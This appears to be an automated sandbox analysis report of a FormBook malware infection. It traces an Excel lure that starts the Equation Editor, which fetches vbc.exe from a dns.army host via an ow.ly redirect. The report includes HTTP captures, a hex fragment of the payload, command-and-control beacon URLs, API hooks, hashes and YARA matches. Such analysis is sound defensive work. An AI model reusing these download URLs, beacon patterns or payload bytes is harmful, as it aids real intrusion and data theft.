www.quallateematerial.com

            
www.hattonpalacejewellery.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 54.67.62.204 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
11:34:26.784049988 CET

0 OUT GET /8O6j30rxT69 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: ow.ly
Connection: Keep-Alive

Feb 23, 2021 
11:34:26.999011993 CET

1 IN HTTP/1.1 301 Moved Permanently
Location: http://msnsndstdyyemkemafgk.dns.army/receipst/vbc.exe?platform=hootsuite
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: master-only
Date: Tue, 23 Feb 2021 10:34:26 GMT
Connection: close
Content-Length: 0
X-Pool: owly_web

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 180.214.238.131 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
11:34:27.401906013 CET

2 OUT GET /receipst/vbc.exe?platform=hootsuite HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Connection: Keep-Alive
Host: msnsndstdyyemkemafgk.dns.army

HTTP Request Dependency Graph

HTTP Packets
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Feb 23, 2021 
11:34:27.626671076 CET

3 IN HTTP/1.1 200 OK
Date: Tue, 23 Feb 2021 10:34:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.2.34
Last-Modified: Tue, 23 Feb 2021 06:43:59 GMT
ETag: "a7e00-5bbfb3e41a257"
Accept-Ranges: bytes
Content-Length: 687616
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b9 a3 34 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 
30 00 00 74 0a 00 00 08 00 00 00 00 00 00 da 93 0a 00 00 20 00 00 00 a0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 93 0a 00 4f 00 00 00 00 a0 0a 00 bc 05 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 73 0a 00 
00 20 00 00 00 74 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 05 00 
00 00 a0 0a 00 00 06 00 00 00 76 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 
00 00 00 c0 0a 00 00 02 00 00 00 7c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 bc 93 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 2c 5b 01 00 84 e8 01 00 03 00 00 00 d4 00 00 06 
b0 43 03 00 d8 4f 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 fa 02 14 7d 01 00 00 04 02 28 15 00 00 0a 00 00 02 28 07 00 00 06 00 02 7b 09 00 00 04 72 01 
00 00 70 7e 2f 00 00 04 28 16 00 00 0a 6f 17 00 00 0a 00 02 7b 06 00 00 04 6f 18 00 00 0a 26 2a 00 1b 30 01 00 1d 00 00 
00 01 00 00 11 00 00 72 13 00 00 70 28 19 00 00 0a 26 00 de 0c 0a 00 06 6f 1a 00 00 0a 26 00 de 00 2a 00 00 00 01 10 
00 00 00 00 01 00 0f 10 00 0c 19 00 00 01 6e 00 03 74 14 00 00 01 16 6f 1b 00 00 0a 00 02 7b 06 00 00 04 6f 18 00 00 0a 
26 2a 2e 00 02 03 14 28 03 00 00 06 00 2a 7e 00 02 7b 06 00 00 04 6f 1c 00 00 0a 00 02 7b 06 00 00 04 6f 1d 00 00 0a 28 
1e 00 00 0a 00 2a 13 30 02 00 2b 00 00 00 02 00 00 11 00 03 2c 0b 02 7b 01 00 00 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 
02 7b 01 00 00 04 6f 1f 00 00 0a 00 00 02 03 28 20 00 00 0a 00 2a 00 13 30 06 00 aa 06 00 00 03 00 00 11 00 02 73 21 
00 00 0a 7d 01 00 00 04 d0 02 00 00 02 28 22 00 00 0a 73 23 00 00 0a 0a 02 73 24 00 00 0a 7d 02 00 00 04 02 73 25 00 
00 0a 7d 09 00 00 04 02 73 25 00 00 0a 7d 06 00 00 04 02 02 7b 01 00 00 04 73 26 00 00 0a 7d 07 00 00 04 02 73 27 00 
00 0a 7d 08 00 00 04 02 73 25 00 00 0a 7d 05 00 00 04 02 73 25 00 00 0a 7d 04 00 00 04 02 73 28 00 00 0a 7d 03 00 00 
04 02 7b 02 00 00 04 6f 29 00 00 0a 00 02 7b 07 00 00 04 6f 29 00 00 0a 00 02 7b 03 00 00 04 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL4`0t @ @O  H.texts t `.rsrcv@@.reloc|@BH,[CO}(({r
p~/(o{o&*0rp(&o&*nto{o&*.(*~{o{o(*0+,{+,{o( *0s!}("s#s$}s%}s%}{s&}s'}s%}s%}s(}{o){o){

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49167 52.58.78.16 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
11:35:30.494999886 CET

731 OUT GET /67d/?cDK=Q0JFvHbbV3aA7SwyaLinIDYx2yT6hkhQohmp5i+qhLfSEfFe3Vda4XF7USYP2N9+mGRMxQ==&PBR
=dpddZ HTTP/1.1
Host: www.priority1fleet.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
11:35:30.536180973 CET

731 IN HTTP/1.1 410 Gone
Server: openresty/1.13.6.2
Date: Tue, 23 Feb 2021 10:35:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 35 32 0d 0a 20 20 20 20 3c 6d 
65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72 
6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 69 6f 72 69 74 79 31 66 6c 65 65 74 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d 0a 61 
0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d 0a 20 20 3c 62 6f 64 79 3e 0a 0d 0a 33 65 0d 0a 20 20 20 20 59 6f 75 20 
61 72 65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 69 6f 72 
69 74 79 31 66 6c 65 65 74 2e 63 6f 6d 0a 0d 0a 61 0d 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 
3e 0a 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 7<html>9  <head>52    <meta http-equiv='refresh' content='5; url=http://www.priority1fleet.com/' />a  </head>9  
<body>3e    You are being redirected to http://www.priority1fleet.coma  </body>8</html>0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49168 216.239.32.21 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
11:35:49.175415039 CET

732 OUT GET /67d/?cDK=IAj2p4O1jtMDA38vgzfl4HFMdfHNof0Kad5Noufyf5YlrFTK7f2GvawlXOZGdPFW7uU/5g==&PBR=dpddZ 
HTTP/1.1
Host: www.quallateematerial.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Code Manipulations

Feb 23, 2021 
11:35:49.302113056 CET

733 IN HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
x-ua-compatible: IE=edge
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Tue, 23 Feb 2021 10:35:49 GMT
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Cross-Origin-Resource-Policy: cross-origin
Content-Security-Policy: script-src 'report-sample' 'nonce-v1blWgn1B9wwsQE1o2Yl/w' 'unsafe-inline';object-src 'none';bas
e-uri 'self';report-uri /_/GeoMerchantPrestoSiteUi/cspreport;worker-src 'self'
Server: ESF
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Set-Cookie: NID=209=CVMPOu86RQoRO1xX0qZpybi_865Jt8oaUkel-D7fK7_oizxz8Jp729Yf698MU3alVU1VF8f-
TYzq_vB3PbX4Z05GyKV7p3xSPBNbJJn1t8xunaFcwSarv0fXEIwwV5ozI0SiAO8aOTqvfPYPvX_kq1hToO8r3dcE
MQSKvToQs3k; expires=Wed, 25-Aug-2021 10:35:49 GMT; path=/; domain=.google.com; HttpOnly
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
Connection: close
Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 
20 64 69 72 3d 22 6c 74 72 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 
63 68 65 6d 61 2e 6f 72 67 2f 4c 6f 63 61 6c 42 75 73 69 6e 65 73 73 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 
66 3d 22 68 74 74 70 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e 3c 6d 65 74 61 20 6e 61 
6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 
61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 76 31 62 6c 57 67 6e 31 42 39 77 77 73 51 45 31 6f 32 59 6c 
2f 77 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 70 69 6d 47 66 22 3a 66 
61 6c 73 65 2c 22 45 35 7a 41 58 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 6f 72 6b 73 70 61 63 65 2e 67 6f 6f 67 6c 65 2e 
63 6f 6d 22 2c 22 45 50 31 79 6b 64 22 3a 5b 22 2f 5f 2f 2a 22 2c 22 2f 6c 6f 63 61 6c 2f 62 75 73 69 6e 65 73 73 
Data Ascii: 8000<!doctype html><html lang="en" dir="ltr" itemscope itemtype="https://schema.org/Locuseriness"><head>
<base href="http://business.google.com/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="v1blW
gn1B9wwsQE1o2Yl/w">window.WIZ_global_data = {"DpimGf":false,"E5zAXe":"https://workspace.google.com","EP1ykd":[
"/_/*","/local/business

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49169 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Feb 23, 2021 
11:36:09.678211927 CET

852 OUT GET /67d/?cDK=W2Z2UcqSFcwA3YJY0Xi1zX0akAe1ObC272eZaT9vn/sHgfwkHiKnNOLEeBBq/HqgrL2ZGA==&PBR
=dpddZ HTTP/1.1
Host: www.hattonpalacejewellery.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Feb 23, 2021 
11:36:09.818981886 CET

853 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 23 Feb 2021 10:36:09 GMT
Content-Type: text/html
Content-Length: 275
ETag: "6031584e-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

User Modules

Hook Summary
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Statistics

Behavior

• EXCEL.EXE

• EQNEDT32.EXE

• vbc.exe

• vbc.exe

• explorer.exe

• raserver.exe

• cmd.exe

Click to jump to process

System Behavior

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

Function Name Hook Type Active in Processes

Function Name Hook Type New Data

PeekMessageA INLINE 0x48 0x8B 0xB8 0x8E 0xEE 0xE6 

PeekMessageW INLINE 0x48 0x8B 0xB8 0x86 0x6E 0xE6 

GetMessageW INLINE 0x48 0x8B 0xB8 0x86 0x6E 0xE6 

GetMessageA INLINE 0x48 0x8B 0xB8 0x8E 0xEE 0xE6 

File ActivitiesFile Activities

Start time: 11:33:40

Start date: 23/02/2021

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13f420000

File size: 27641504 bytes

MD5 hash: 5FB0A0F93382ECD19F5F499A5CAA59F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Processes

Process: explorer.exe, Module: USER32.dll

Analysis Process: EXCEL.EXE PID: 928 Parent PID: 584Analysis Process: EXCEL.EXE PID: 928 Parent PID: 584

General
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Registry ActivitiesRegistry Activities

File Path Access Attributes Options Completion Count
Source
Address Symbol

Source

Old File Path New File Path Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\Desktop\~$MT OCEAN STAR ISO 8217 2005.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 13F66F526 WriteFile

C:\Users\user\Desktop\~$MT OCEAN STAR ISO 8217 2005.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 13F66F591 WriteFile

C:\Users\user\Desktop\~$MT OCEAN STAR ISO 8217 2005.xlsx unknown 55 05 41 6c 62 75 73 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 20 
20 20 20 20 20 20 

.user                                                 success or wait 1 13F66F526 WriteFile

C:\Users\user\Desktop\~$MT OCEAN STAR ISO 8217 2005.xlsx unknown 110 05 00 41 00 6c 00 62 
00 75 00 73 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 20 00 
20 00 20 00 20 00 20 
00 20 00 20 00 

..A.l.b.u.s. . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . . . . 

. . . . . . . . . . . . . . . . . .

success or wait 1 13F66F591 WriteFile

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created
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HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resiliency\StartupItems

lt7 binary 6C 74 37 00 A0 03 00 00 02 00 00 00 
00 00 00 00 86 00 00 00 01 00 00 00 
42 00 00 00 38 00 00 00 6D 00 74 00 
20 00 6F 00 63 00 65 00 61 00 6E 00 
20 00 73 00 74 00 61 00 72 00 20 00 
69 00 73 00 6F 00 20 00 38 00 32 00 
31 00 37 00 20 00 32 00 30 00 30 00 
35 00 2E 00 78 00 6C 00 73 00 78 00 
00 00 6D 00 74 00 20 00 6F 00 63 00 
65 00 61 00 6E 00 20 00 73 00 74 00 
61 00 72 00 20 00 69 00 73 00 6F 00 
20 00 38 00 32 00 31 00 37 00 20 00 
32 00 30 00 30 00 35 00 00 00 

success or wait 1 7FEEAC59AC0 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 11:34:00

Start date: 23/02/2021

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0 success or wait 1 41369F RegCreateKeyExA

HKEY_CURRENT_USER\Software\Microsoft\Equation Editor\3.0\Options success or wait 1 41369F RegCreateKeyExA

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 11:34:04

Start date: 23/02/2021

Analysis Process: EQNEDT32.EXE PID: 1960 Parent PID: 584Analysis Process: EQNEDT32.EXE PID: 1960 Parent PID: 584

General

Key CreatedKey Created

Analysis Process: vbc.exe PID: 2300 Parent PID: 1960Analysis Process: vbc.exe PID: 2300 Parent PID: 1960

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\Public\vbc.exe' 

Imagebase: 0xd30000

File size: 687616 bytes

MD5 hash: 2201881C6CC2DE12C71F906E43178EF9

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.2161460601.0000000003339000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.2161460601.0000000003339000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.2161460601.0000000003339000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT read attributes | 
synchronize | 
generic read | 
generic write

device | sparse 
file

synchronous io 
non alert | non 
directory file

success or wait 1 6C46AA52 unknown

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E3B7995 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6E3B7995 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582
400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6E2CDE2C ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E3BA1A4 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Window
s.Forms\fb06ad4bc55b9c3ca68a3f9259d826cd\System.Windows.Forms.ni.dll.aux

unknown 1720 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\1be7a1
5b1f33bf22e4f53aaf45518c77\System.ni.dll.aux

unknown 620 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawin
g\1d52bd4ac5e0a6422058a5d62c9f6d9d\System.Drawing.ni.dll.aux

unknown 584 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\fe4b221b4109f0c78f57a792500699b5\System.Configuration.ni.dll.aux

unknown 864 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\e
b4cca4f06a15158c3f7e2c56516729b\System.Core.ni.dll.aux

unknown 900 success or wait 1 6E2CDE2C ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\4f
bda26d781323081b45526da6e87b35\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6E2CDE2C ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6D3BB2B3 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6D3BB2B3 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V99
21e851#\4fc035341c55c61ce51e53d179d1e19d\Microsoft.VisualBasic.ni.dll.aux

unknown 1708 success or wait 1 6E2CDE2C ReadFile

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\GDIPlus success or wait 1 6C46AA52 unknown

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\GDIPlus FontCachePath unicode C:\Users\user\AppData\Local success or wait 1 6C46AA52 unknown

File CreatedFile Created

File ReadFile Read

Key CreatedKey Created

Key Value CreatedKey Value Created
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File ActivitiesFile Activities

Start time: 11:34:14

Start date: 23/02/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0xd30000

File size: 687616 bytes

MD5 hash: 2201881C6CC2DE12C71F906E43178EF9

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2192645978.0000000000080000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2192645978.0000000000080000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2192645978.0000000000080000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2192736589.0000000000210000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2192736589.0000000000210000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2192736589.0000000000210000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2192765767.0000000000400000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2192765767.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2192765767.0000000000400000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: low

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 419E47 NtReadFile

Start time: 11:34:16

Start date: 23/02/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0xffca0000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Analysis Process: vbc.exe PID: 2608 Parent PID: 2300Analysis Process: vbc.exe PID: 2608 Parent PID: 2300

General

File ReadFile Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2608Analysis Process: explorer.exe PID: 1388 Parent PID: 2608

General
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File ActivitiesFile Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 11:34:27

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\raserver.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\raserver.exe

Imagebase: 0xa30000

File size: 101888 bytes

MD5 hash: 0842FB9AC27460E2B0107F6B3A872FD5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2352874272.00000000002A0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2352874272.00000000002A0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2352874272.00000000002A0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2352735993.0000000000080000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
